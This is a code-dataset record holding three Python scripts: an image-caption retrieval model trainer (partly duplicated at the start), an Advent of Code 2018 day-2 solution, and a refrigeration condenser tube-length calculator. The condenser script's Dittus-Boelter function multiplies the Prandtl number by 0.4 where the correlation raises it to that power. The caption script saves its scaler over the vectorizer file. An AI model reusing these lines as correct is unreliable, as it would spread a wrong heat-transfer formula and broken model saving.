preds = predict_h_simple(model, inputs)
candidates_pred = predict_h_simple(model, candidates)
elif args.paraphrase_state == 'hidden_multi':
preds = numpy.hstack(predict_h(model, inputs))
candidates_pred = numpy.hstack(predict_h(model, candidates))
else:
raise ValueError("Unknown state")
distances = D.cosine_distance(preds, candidates_pred)
#distances = cdist(preds, candidates_pred, metric='cosine')
N = 0
score = 0.0
imgids = numpy.array([ pair['sentence']['imgid'] for pair in pairs ])
sentids = numpy.array([ pair['sentence']['sentid'] for pair in pairs])
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
rank = numpy.where((imgids[best] == imgid) * (sentids[best] != sentid))[0][0] + 1
top4 = [ pairs[b]['sentence']['imgid'] for b
in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4] # exclude self
top4sent = [ pairs[b]['sentence']['sentid'] for b in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4]
score = score + sum([i == imgid for i in top4 ])/4.0
N = N+1
itemInfo = {'sentid':sentid, 'imgid': imgid, 'score': sum([i == imgid for i in top4 ])/4.0,
'rank': rank, 'topn': top4 , 'topnsentid': top4sent,
'input': tokenizer.inverse_transform([inputs[j]])[0]}
testInfo['items'].append(itemInfo)
print args.iter_predict, N, score/N
else:
preds = model.predict(inputs)
images = list(d.iterImages(split='val'))
distances = D.cosine_distance(preds, scaler.transform([image['feat'] for image in images ]))
errors = 0
N = 0
imgids = numpy.array([ img['imgid'] for img in images ])
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
rank = numpy.where(imgids[best] == imgid)[0][0] + 1
top5 = [ images[b]['imgid'] for b in best[:5] ]
N = N+1
if imgid not in top5:
errors = errors + 1
itemInfo = {'sentid':sentid, 'imgid': imgid, 'score': float(imgid in top5), 'rank': rank, 'topn': top5,
'input':tokenizer.inverse_transform([inputs[j]])[0] }
testInfo['items'].append(itemInfo)
print args.iter_predict, errors, N, errors/N
testInfoPath = 'testInfo-task={0}-scramble={1}-iter_predict={2}.json.gz'.format(testInfo['task'], testInfo['scramble'], testInfo['iter_predict'])
json.dump(testInfo, gzip.open(testInfoPath,'w'))
def project_words(args):
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
exclude = ['PAD','END','UNK']
words, indexes = zip(*[ (w,i) for (w,i) in tokenizer.encoder.iteritems() if w not in exclude ])
inputs = [ [tokenizer.encoder['PAD'], i, tokenizer.encoder['END']] for i in indexes ] # FIXME actually for training we don't have END
preds = scaler.inverse_transform(model.predict(inputs))
proj = dict((words[i], preds[i]) for i in range(0, len(words)))
cPickle.dump(proj, gzip.open("proj.pkl.gz" + suffix, "w"))
def extract_embeddings(args):
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
#scaler = cPickle.load(open('scaler.pkl'))
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
embeddings = model.layers[0].params[0].get_value()
table = dict((word, embeddings[i]) for i,word in tokenizer.decoder.iteritems()
if word not in ['END','PAD','UNK'] )
cPickle.dump(table, gzip.open('embeddings.pkl.gz' + suffix, 'w'))
class Cdist():
def __init__(self):
self.U = T.matrix('U')
self.V = T.matrix('V')
self.U_norm = self.U / self.U.norm(2, axis=1).reshape((self.U.shape[0], 1))
self.V_norm = self.V / self.V.norm(2, axis=1).reshape((self.V.shape[0], 1))
self.W = T.dot(self.U_norm, self.V_norm.T)
self.cosine = theano.function([self.U, self.V], self.W)
def cosine_distance(self, A, B):
return 1 - self.cosine(A, B)
main()
| <filename>main.py
#!/usr/bin/env python
from __future__ import division
import sys
sys.path.append('/home/gchrupala/repos/Passage')
sys.path.append('/home/gchrupala/repos/neuraltalk')
from passage.layers import Embedding, SimpleRecurrent, LstmRecurrent, GatedRecurrent #, Dense
from layers import *
from passage.costs import MeanSquaredError
from imaginet import *
from passage.preprocessing import Tokenizer, tokenize
import passage.utils
import passage.updates
from passage.iterators import SortedPadded
import imagernn.data_provider as dp
import cPickle
from scipy.spatial.distance import cosine, cdist
import numpy
import os.path
import argparse
import random
from sklearn.feature_extraction.text import CountVectorizer
from sklearn.linear_model import Ridge
from sklearn.preprocessing import StandardScaler
import json
import gzip
def main():
parser = argparse.ArgumentParser(
description='Learn to rank images according to similarity to \
caption meaning')
parser.add_argument('--predict', dest='predict',
action='store_true', help='Run in prediction mode')
parser.add_argument('--paraphrase', dest='paraphrase',
action='store_true', help='Run in paraphrasing mode')
parser.add_argument('--paraphrase_state', dest='paraphrase_state', default='hidden_multi',
help='Which state to use for paraphrase retrieval (hidden_multi, hidden_vis, hidden_text, output_vis)')
parser.add_argument('--extract_embeddings', dest='extract_embeddings',
action='store_true',
help='Extract embeddings from trained model')
parser.add_argument('--project_words', dest='project_words',
action='store_true', help='Project words from vocabulary to visual space')
parser.add_argument('--model', dest='model', default='model.dat.gz',
help='Path to write model to')
parser.add_argument('--model_type', dest='model_type', default='simple',
help='Type of model: (linear, simple, shared_embeddings, shared_all)')
parser.add_argument('--character', dest='character', action='store_true',
help='Character-level model')
parser.add_argument('--zero_shot', dest='zero_shot', action='store_true',
help='Disable visual signal for sentences containing words in zero_shot.pkl.gz')
parser.add_argument('--tokenizer', dest='tokenizer', default='tok.pkl.gz',
help='Path to write tokenizer to')
parser.add_argument('--init_model', dest='init_model', default=None,
help='Initialize model weights with model from given path')
parser.add_argument('--init_tokenizer', dest='init_tokenizer', default=None,
help='Use tokenizer from given path')
parser.add_argument('--iter_predict', type=int,
help='Model after that many iterations will be used to predict')
parser.add_argument('--scramble', action='store_true',
help='Scramble words in a test sentence')
parser.add_argument('--distance', default='cosine',
help='Distance metric to rank images')
parser.add_argument('--dataset', dest='dataset', default='flickr8k',
help='Dataset: flick8k, flickr30k, coco')
parser.add_argument('--hidden_size', dest='hidden_size', type=int, default=256,
help='size of the hidden layer')
parser.add_argument('--embedding_size', dest='embedding_size', type=int, default=None,
help='size of (word) embeddings')
parser.add_argument('--hidden_type', default='gru',
help='recurrent layer type: gru, lstm')
parser.add_argument('--activation', default='tanh',
help='activation of the hidden layer units')
parser.add_argument('--out_activation', default='linear',
help='Activation of output units')
parser.add_argument('--cost', default='MeanSquaredError',
help='Image prediction cost function')
parser.add_argument('--scaler', dest='scaler', default='none',
help='Method to scale targets (none, standard)')
parser.add_argument('--rate', dest='rate', type=float, default=0.0002,
help='Learning rate')
parser.add_argument('--clipnorm', dest='clipnorm', type=float, default=0.0,
help='Gradients with norm larger than clipnorm will be scaled')
parser.add_argument('--alpha', dest='alpha', type=float, default=0.0,
help='Interpolation parameter for LM cost vs image cost')
parser.add_argument('--ridge_alpha', dest='ridge_alpha', type=float, default=1.0,
help='Regularization for linear regression model')
parser.add_argument('--non_interpolated', dest='non_interpolated', action='store_true',
help='Use non-interpolated cost')
parser.add_argument('--iterations', dest='iterations', type=int, default=10,
help='Number of training iterations')
parser.add_argument('--word_freq_threshold', dest='word_freq_threshold', type=int, default=10,
help='Map words below this threshold to UNK')
parser.add_argument('--shuffle', dest='shuffle', action='store_true',
help='Shuffle training data')
parser.add_argument('--random_seed', dest='random_seed', default=None, type=int,
help='Random seed')
parser.add_argument('--snapshot_freq', dest='snapshot_freq', type=int, default=5,
help='How many iterations to save model')
parser.add_argument('--batch_size', dest='batch_size', type=int, default=64,
help='Batch size')
args = parser.parse_args()
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
if args.project_words:
project_words(args)
elif args.predict and args.model_type == 'linear':
test_linear(args)
elif args.predict and args.model_type != 'linear':
test(args)
elif args.extract_embeddings:
extract_embeddings(args)
elif args.model_type == 'linear':
train_linear(args)
else:
train(args)
def train_linear(args):
p = dp.getDataProvider(args.dataset)
data = list(p.iterImageSentencePair(split='train'))
texts = [ pair['sentence']['raw'] for pair in data ]
images = [ pair['image']['feat'] for pair in data ]
analyzer = 'char' if args.character else 'word'
vectorizer = CountVectorizer(min_df=args.word_freq_threshold, analyzer=analyzer, lowercase=True,
ngram_range=(1,1))
X = vectorizer.fit_transform(texts)
scaler = StandardScaler() if args.scaler == 'standard' else NoScaler()
sys.stderr.write("BOW computed\n")
Y = scaler.fit_transform(numpy.array(images))
model = Ridge(solver='lsqr', alpha=args.ridge_alpha)
sys.stderr.write("Starting training\n")
model.fit(X,Y)
sys.stderr.write("Saving model\n")
cPickle.dump(model, gzip.open('model.dat.gz','w'))
cPickle.dump(vectorizer, gzip.open('vec.pkl.gz','w'))
cPickle.dump(scaler, gzip.open('vec.pkl.gz', 'w'))
def test_linear(args):
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
D = Cdist()
model = cPickle.load(gzip.open('model.dat.gz'))
vectorizer = cPickle.load(gzip.open('vec.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
real_stdout = sys.stdout
with open('/dev/null', 'w') as f:
sys.stdout = f
d = dp.getDataProvider(args.dataset)
sys.stdout = real_stdout
pairs = list(d.iterImageSentencePair(split='val'))
texts = [ pair['sentence']['raw'] for pair in pairs ]
images = list(d.iterImages(split='val')) # With pairs we'd get duplicate images!
X = vectorizer.transform(texts)
Y_pred = numpy.asarray(model.predict(X), dtype='float32') # candidates are identical to Y_pred
if args.paraphrase:
#distances = D.cosine_distance(Y_pred, Y_pred)
distances = cdist(Y_pred, Y_pred, metric='cosine')
N = 0
score = 0.0
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
top4 = sum([ imgid == pairs[b]['sentence']['imgid'] for b
in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4]) # exclude self
score = score + top4/4.0
N = N+1
print args.iter_predict, N, score/N
else:
Y = numpy.array([ image['feat'] for image in images], dtype='float32')
distances = D.cosine_distance(Y_pred, Y)
errors = 0
N = 0
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
best = numpy.argsort(row)
top5 = [ images[b]['imgid'] for b in best[:5] ]
N = N+1
if imgid not in top5:
errors = errors + 1
print errors, N, errors/N
def train(args):
zero_words = cPickle.load(gzip.open("zero_shot.pkl.gz")) if args.zero_shot else set()
def maybe_zero(s, i):
overlap = set(tokenize(s)).intersection(zero_words)
if args.zero_shot and len(overlap) > 0:
return numpy.zeros(i.shape)
else:
return i
dataset = args.dataset
tok_path = args.tokenizer
model_path = args.model
d = dp.getDataProvider(dataset)
pairs = list(d.iterImageSentencePair(split='train'))
if args.shuffle:
numpy.random.shuffle(pairs)
output_size = len(pairs[0]['image']['feat'])
embedding_size = args.embedding_size if args.embedding_size is not None else args.hidden_size
tokenizer = cPickle.load(gzip.open(args.init_tokenizer)) \
if args.init_tokenizer else Tokenizer(min_df=args.word_freq_threshold, character=args.character)
sentences, images = zip(*[ (pair['sentence']['raw'], maybe_zero(pair['sentence']['raw'],pair['image']['feat']))
for pair in pairs ])
scaler = StandardScaler() if args.scaler == 'standard' else NoScaler()
images = scaler.fit_transform(images)
tokens = [ [tokenizer.encoder['PAD']] + sent + [tokenizer.encoder['END'] ]
for sent in tokenizer.fit_transform(sentences) ]
tokens_inp = [ token[:-1] for token in tokens ]
tokens_out = [ token[1:] for token in tokens ]
cPickle.dump(tokenizer, gzip.open(tok_path, 'w'))
cPickle.dump(scaler, gzip.open('scaler.pkl.gz','w'))
# Validation data
valid_pairs = list(d.iterImageSentencePair(split='val'))
valid_sents, valid_images = zip(*[ (pair['sentence']['raw'], pair['image']['feat'])
for pair in valid_pairs ])
valid_images = scaler.transform(valid_images)
valid_tokens = [ [ tokenizer.encoder['PAD'] ] + sent + [tokenizer.encoder['END'] ]
for sent in tokenizer.transform(valid_sents) ]
valid_tokens_inp = [ token[:-1] for token in valid_tokens ]
valid_tokens_out = [ token[1:] for token in valid_tokens ]
valid = (valid_tokens_inp, valid_tokens_out, valid_images)
updater = passage.updates.Adam(lr=args.rate, clipnorm=args.clipnorm)
if args.cost == 'MeanSquaredError':
z_cost = MeanSquaredError
elif args.cost == 'CosineDistance':
z_cost = CosineDistance
else:
raise ValueError("Unknown cost")
if args.hidden_type == 'gru':
Recurrent = GatedRecurrent
elif args.hidden_type == 'lstm':
Recurrent = LstmRecurrent
else:
Recurrent = GatedRecurrent
# if args.init_model is not None:
# model_init = cPickle.load(open(args.init_model))
# def values(ps):
# return [ p.get_value() for p in ps ]
# # FIXME enable this for shared only embeddings
# layers = [ Embedding(size=args.hidden_size, n_features=tokenizer.n_features,
# weights=values(model_init.layers[0].params)),
# Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation,
# weights=values(model_init.layers[1].params)),
# Combined(left=Dense(size=tokenizer.n_features, activation='softmax', reshape=True,
# weights=values(model_init.layers[2].left.params)),
# right=Dense(size=output_size, activation=args.out_activation,
# weights=values(model_init.layers[2].right.params))
# ) ]
# else:
# FIXME implement proper pretraining FIXME
interpolated = True if not args.non_interpolated else False
if args.model_type in ['add', 'mult', 'matrix']:
if args.model_type == 'add':
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=Add)
elif args.model_type == 'mult':
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=Mult)
elif args.model_type == 'matrix':
sqrt_size = embedding_size ** 0.5
if not sqrt_size.is_integer():
raise ValueError("Sqrt of embedding_size not integral for matrix model")
layer0 = Direct(size=embedding_size, n_features=tokenizer.n_features, op=MatrixMult)
layers = [ layer0, Dense(size=output_size, activation=args.out_activation, reshape=False) ]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
elif args.model_type == 'simple':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)
]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
# FIXME need validation
elif args.model_type == 'deep-simple':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)
]
valid = (valid_tokens_inp, valid_images)
model = RNN(layers=layers, updater=updater, cost=z_cost,
iterator=SortedPadded(shuffle=False), verbose=1)
model.fit(tokens_inp, images, n_epochs=args.iterations, batch_size=args.batch_size, len_filter=None,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
# FIXME need validation
elif args.model_type == 'shared_all':
if args.zero_shot:
raise NotImplementedError # FIXME zero_shot not implemented
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Combined(left=Dense(size=tokenizer.n_features, activation='softmax', reshape=True),
right=Dense(size=output_size, activation=args.out_activation, reshape=False)) ]
model = ForkedRNN(layers=layers, updater=updater, cost_y=CategoricalCrossEntropySwapped,
cost_z=z_cost, alpha=args.alpha, size_y=tokenizer.n_features,
verbose=1, interpolated=interpolated)
model.fit(tokens_inp, tokens_out, images, n_epochs=args.iterations, batch_size=args.batch_size,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
elif args.model_type == 'shared_embeddings':
layers = [ Embedding(size=embedding_size, n_features=tokenizer.n_features),
Combined(left=Stacked([Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation),
Dense(size=tokenizer.n_features, activation='softmax', reshape=True)]),
left_type='id',
right=Stacked([Recurrent(seq_output=False, size=args.hidden_size, activation=args.activation),
Dense(size=output_size, activation=args.out_activation, reshape=False)]),
right_type='id')
]
model = ForkedRNN(layers=layers, updater=updater, cost_y=CategoricalCrossEntropySwapped,
cost_z=z_cost, alpha=args.alpha, size_y=tokenizer.n_features,
verbose=1, interpolated=interpolated, zero_shot=args.zero_shot)
model.fit(tokens_inp, tokens_out, images, n_epochs=args.iterations, batch_size=args.batch_size,
snapshot_freq=args.snapshot_freq, path=model_path, valid=valid)
cPickle.dump(model, gzip.open(model_path,"w"))
def test(args):
if args.random_seed is not None:
numpy.random.seed(args.random_seed)
def scramble(words):
ixs = range(len(words))
random.shuffle(ixs)
return [ words[ix] for ix in ixs ]
testInfo = {'argv': sys.argv,
'dataset': args.dataset,
'scramble': args.scramble,
'model_type': args.model_type,
'alpha': args.alpha,
'iter_predict': args.iter_predict,
'task': 'paraphrase' if args.paraphrase else 'image',
'items': []}
D = Cdist()
dataset = args.dataset
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
real_stdout = sys.stdout
with open('/dev/null', 'w') as f:
sys.stdout = f
d = dp.getDataProvider(args.dataset)
sys.stdout = real_stdout
pairs = list(d.iterImageSentencePair(split='val'))
inputs = [ scramble(s) if args.scramble else s for s in tokenizer.transform([ pair['sentence']['raw'] for pair in pairs]) ]
if args.paraphrase:
candidates = tokenizer.transform([ pair['sentence']['raw'] for pair in pairs]) # No scrambling of candidates
if args.paraphrase_state == 'output_vis':
preds = model.predict(inputs)
candidates_pred = model.predict(candidates)
elif args.paraphrase_state == 'hidden_text':
preds, _ = predict_h(model, inputs)
candidates_pred, _ = predict_h(model, candidates)
elif args.paraphrase_state == 'hidden_vis' and hasattr(model.layers[1], 'left'):
_, preds = predict_h(model, inputs)
_, candidates_pred = predict_h(model, candidates)
elif args.paraphrase_state == 'hidden_vis' and not hasattr(model.layers[1], 'left'):
preds = predict_h_simple(model, inputs)
candidates_pred = predict_h_simple(model, candidates)
elif args.paraphrase_state == 'hidden_multi':
preds = numpy.hstack(predict_h(model, inputs))
candidates_pred = numpy.hstack(predict_h(model, candidates))
else:
raise ValueError("Unknown state")
distances = D.cosine_distance(preds, candidates_pred)
#distances = cdist(preds, candidates_pred, metric='cosine')
N = 0
score = 0.0
imgids = numpy.array([ pair['sentence']['imgid'] for pair in pairs ])
sentids = numpy.array([ pair['sentence']['sentid'] for pair in pairs])
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
rank = numpy.where((imgids[best] == imgid) * (sentids[best] != sentid))[0][0] + 1
top4 = [ pairs[b]['sentence']['imgid'] for b
in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4] # exclude self
top4sent = [ pairs[b]['sentence']['sentid'] for b in best[0:5] if sentid != pairs[b]['sentence']['sentid'] ][0:4]
score = score + sum([i == imgid for i in top4 ])/4.0
N = N+1
itemInfo = {'sentid':sentid, 'imgid': imgid, 'score': sum([i == imgid for i in top4 ])/4.0,
'rank': rank, 'topn': top4 , 'topnsentid': top4sent,
'input': tokenizer.inverse_transform([inputs[j]])[0]}
testInfo['items'].append(itemInfo)
print args.iter_predict, N, score/N
else:
preds = model.predict(inputs)
images = list(d.iterImages(split='val'))
distances = D.cosine_distance(preds, scaler.transform([image['feat'] for image in images ]))
errors = 0
N = 0
imgids = numpy.array([ img['imgid'] for img in images ])
for j,row in enumerate(distances):
imgid = pairs[j]['sentence']['imgid']
sentid = pairs[j]['sentence']['sentid']
best = numpy.argsort(row)
rank = numpy.where(imgids[best] == imgid)[0][0] + 1
top5 = [ images[b]['imgid'] for b in best[:5] ]
N = N+1
if imgid not in top5:
errors = errors + 1
itemInfo = {'sentid':sentid, 'imgid': imgid, 'score': float(imgid in top5), 'rank': rank, 'topn': top5,
'input':tokenizer.inverse_transform([inputs[j]])[0] }
testInfo['items'].append(itemInfo)
print args.iter_predict, errors, N, errors/N
testInfoPath = 'testInfo-task={0}-scramble={1}-iter_predict={2}.json.gz'.format(testInfo['task'], testInfo['scramble'], testInfo['iter_predict'])
json.dump(testInfo, gzip.open(testInfoPath,'w'))
def project_words(args):
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
scaler = cPickle.load(gzip.open('scaler.pkl.gz'))
exclude = ['PAD','END','UNK']
words, indexes = zip(*[ (w,i) for (w,i) in tokenizer.encoder.iteritems() if w not in exclude ])
inputs = [ [tokenizer.encoder['PAD'], i, tokenizer.encoder['END']] for i in indexes ] # FIXME actually for training we don't have END
preds = scaler.inverse_transform(model.predict(inputs))
proj = dict((words[i], preds[i]) for i in range(0, len(words)))
cPickle.dump(proj, gzip.open("proj.pkl.gz" + suffix, "w"))
def extract_embeddings(args):
tokenizer = cPickle.load(gzip.open('tok.pkl.gz'))
#scaler = cPickle.load(open('scaler.pkl'))
suffix = '' if args.iter_predict is None else ".{0}".format(args.iter_predict)
model = cPickle.load(gzip.open('model.dat.gz' + suffix))
embeddings = model.layers[0].params[0].get_value()
table = dict((word, embeddings[i]) for i,word in tokenizer.decoder.iteritems()
if word not in ['END','PAD','UNK'] )
cPickle.dump(table, gzip.open('embeddings.pkl.gz' + suffix, 'w'))
class Cdist():
def __init__(self):
self.U = T.matrix('U')
self.V = T.matrix('V')
self.U_norm = self.U / self.U.norm(2, axis=1).reshape((self.U.shape[0], 1))
self.V_norm = self.V / self.V.norm(2, axis=1).reshape((self.V.shape[0], 1))
self.W = T.dot(self.U_norm, self.V_norm.T)
self.cosine = theano.function([self.U, self.V], self.W)
def cosine_distance(self, A, B):
return 1 - self.cosine(A, B)
main()
| en | 0.501562 | #!/usr/bin/env python #, Dense # With pairs we'd get duplicate images! # candidates are identical to Y_pred #distances = D.cosine_distance(Y_pred, Y_pred) # exclude self # Validation data # if args.init_model is not None: # model_init = cPickle.load(open(args.init_model)) # def values(ps): # return [ p.get_value() for p in ps ] # # FIXME enable this for shared only embeddings # layers = [ Embedding(size=args.hidden_size, n_features=tokenizer.n_features, # weights=values(model_init.layers[0].params)), # Recurrent(seq_output=True, size=args.hidden_size, activation=args.activation, # weights=values(model_init.layers[1].params)), # Combined(left=Dense(size=tokenizer.n_features, activation='softmax', reshape=True, # weights=values(model_init.layers[2].left.params)), # right=Dense(size=output_size, activation=args.out_activation, # weights=values(model_init.layers[2].right.params)) # ) ] # else: # FIXME implement proper pretraining FIXME # FIXME need validation # FIXME need validation # FIXME zero_shot not implemented # No scrambling of candidates #distances = cdist(preds, candidates_pred, metric='cosine') # exclude self # FIXME actually for training we don't have END #scaler = cPickle.load(open('scaler.pkl')) | 1.973251 | 2 |
2018/day-02/day2.py | smolsbs/aoc | 1 | 6623585 | <reponame>smolsbs/aoc<filename>2018/day-02/day2.py<gh_stars>1-10
import sys
import itertools
with open('input', 'r') as fp:
data = [x.strip('\n') for x in fp.readlines()]
def part1(data):
a, b = 0, 0
for line in data:
s = {}
for ch in line:
if ch not in s:
s[ch] = 1
else:
s[ch] += 1
if 2 in s.values():
a +=1
if 3 in s.values():
b += 1
return a*b
def part2(data):
combs = list(itertools.combinations(data, 2))
ssize = len(combs[0][0]) # length of any string
for c in combs:
common = ""
diff = 0
for i in range(ssize):
if c[0][i] == c[1][i]:
common += c[0][i]
else:
diff +=1
if diff > 1:
break
if diff == 1:
return common
print(part1(data))
print(part2(data))
| import sys
import itertools
with open('input', 'r') as fp:
data = [x.strip('\n') for x in fp.readlines()]
def part1(data):
a, b = 0, 0
for line in data:
s = {}
for ch in line:
if ch not in s:
s[ch] = 1
else:
s[ch] += 1
if 2 in s.values():
a +=1
if 3 in s.values():
b += 1
return a*b
def part2(data):
combs = list(itertools.combinations(data, 2))
ssize = len(combs[0][0]) # length of any string
for c in combs:
common = ""
diff = 0
for i in range(ssize):
if c[0][i] == c[1][i]:
common += c[0][i]
else:
diff +=1
if diff > 1:
break
if diff == 1:
return common
print(part1(data))
print(part2(data)) | en | 0.393049 | # length of any string | 3.11987 | 3 |
Condenser_Designer.py | li-fulin/Refrigeration-Condenser-Desginer | 0 | 6623586 | import CoolProp.CoolProp as CP
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Constant Parameters
RC = 80 #kW
Tevap = 5 #Degree Celsius
Tcond = 45 #Degree Celsius
Twi = 30 #Water inlet temp; Degree Celsius
Twe = 35 #Water outlet temp; Degree Celsius
Do = 0.016 #Pipe outer diameter; m
Di = 0.014 #Pipe inner diameter; m
HRR = 1.27 #Heat Rejection Ratio; Qcond/Qevap
k_pipe = 390 #Thermal conductivity of copper; J/mK
N = 42 #number of pipes
Pass = 2 #number of pass
refrigerant = 'R134a' #refrigerant
V_flow = 13 #Number of vertical flow
# Iteration Variable
delta_T = 5 #Assumed delta T
T_array = np.arange(35.01,45.01,0.01) #Array of Condenser Temperature
T = np.flip(T_array) #Flipped Condenser Array
def Designer(Tevap, Tcond, Twi, Twe, Do, Di, HRR, k_pipe, N, Pass, V_flow, delta_T, refrigerant):
'''
This function computes the actual temperature difference and
the condenser tube length given condenser temperature as input
Parameters:
Tevap - Evaporator Temperature
Tcond - Condenser Temperature
Twi - Water inlet Temperature
Twe - Water outlet Temperature
Do - Pipe outer diameter
Di - Pipe inner diameter
HRR - Heat Rejection Ratio
k_pipe - Pipe thermal conductivity
N - Number of pipes
Pass - Number of Bends + 1
V_flow - Number of fluid flow perpendicular to pipe
delta_T - Temperature Difference
refrigerant - Name of the Refrigerant
Return:
delta_T_prime - Converged Temperature Difference
L_tube - Condenser Tube Length
Pcond - Condenser Pressure
'''
# Refrigerant Side
Tcond_K = Tcond +273.15 #Kelvin
Pcond = CP.PropsSI('P','T',Tcond_K,'Q',0,refrigerant)/1000 #@Tcond and Q=0; kPa
N_effective = (N/V_flow)
k_ref = CP.PropsSI('CONDUCTIVITY','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
rho_ref = CP.PropsSI('D','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
hfg = CP.PropsSI('H','T',Tcond_K,'Q',1,refrigerant) - CP.PropsSI('H','T',Tcond_K,'Q',0,refrigerant) #J/kg
mu_ref = CP.PropsSI('V','T',Tcond_K,'Q',0,refrigerant) #@Tcond and Q=0
Numerator = (k_ref**3)*(rho_ref**2)*9.81*hfg
Denominator = (N_effective*mu_ref*delta_T*Do)
h_refrigerant = 0.725*((Numerator/Denominator)**0.25)
# Conduction in pipe
delta_x = (Do-Di)/2
h_pipe = delta_x/k_pipe
# Fouling Factor
h_fouling = 0.000176
# Convection in Water
T_bulkmean = (Twi+Twe)/2 #Degree Celsius
T_bulkmean_K = T_bulkmean + 273.15 #Kelvin
P_water = 101325 #Pascal
Cp_water = CP.PropsSI('C','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
k_water = CP.PropsSI('CONDUCTIVITY','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
mu_water = CP.PropsSI('V','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
rho_water = CP.PropsSI('D','T',T_bulkmean_K,'P',P_water,'water') #@Tbulkmean and P water
Q_cond = HRR*RC*1000 #Heat Rejection
m_water = Q_cond/(Cp_water*(Twe-Twi)) #Total mass flow rate
m_pipe = m_water/(N/Pass) #mass flow per pipe
U = m_pipe/(rho_water*(np.pi*(Di**2)*0.25)) #Flow rate/ Flow velocity
h_water = Dittus_Boelter(Di,k_water,U,rho_water,mu_water,Cp_water) #Enthalpy Water
# Heat calculation
R_refrigerant = 1/(h_refrigerant*np.pi*Do) #Thermal Resistance for Refrigerant; 1/(hA)
R_pipe = (h_pipe)/(np.pi*(0.5*(Do+Di))) #Thermal Resistance for Pipe; delta x/(kA)
R_fouling = h_fouling/(np.pi*Di) #Thermal Resistance for Fouling Factor; 1/(hA)
R_water = 1/(h_water*np.pi*Di) #Thermal Resistance for Water; 1/(hA)
R_total = R_refrigerant+R_pipe+R_fouling+R_water #Totla Thermal Resistance
LMTD = ((Tcond-Twe)-(Tcond-Twi))/np.log((Tcond-Twe)/(Tcond-Twi)) #Log Mean Temperature Difference
L_total = (Q_cond*R_total)/LMTD #Total condenser length
L_tube = L_total/N #Length per tube
delta_T_prime = Q_cond/(h_refrigerant*np.pi*Do*L_tube*N) #New delta T
# print to debug
'''
print(f'h refrigerant: {h_refrigerant}')
print(f'h pipe: {h_pipe}')
print(f'h fouling: {h_fouling}')
print(f'h water: {h_water}')
print(f'mass flow: {m_water}')
print(f'Delta T: {delta_T_prime}')
print(f'Total Length: {L_total}')
print(f'Length per tube: {L_tube}\n')
'''
return delta_T_prime, L_tube, Pcond
def Dittus_Boelter(Di,k_water,U,rho,mu_water,Cp_water):
'''
This is the Dittus-Boelter Equation used to relate water enthalpy
Nu = K*(Re**m)*(Pr**n)
Parameters:
Di - Pipe inner diameter
k_water - Fluid thermal conductivity
U - Fluid flow rate
rho - Fluid Density
mu_water - Fluid viscosity
Cp_water - Constant pressure specific heat
Return:
h_water - Fluid enthalpy'''
Re = (Di*U*rho/mu_water) #Reynold's Number
Pr = ((Cp_water*mu_water)/k_water) #Prandlt Number
Nu = 0.023*((Re**0.8)*(Pr*0.4)) #Nusselt Number
return (k_water*Nu)/Di
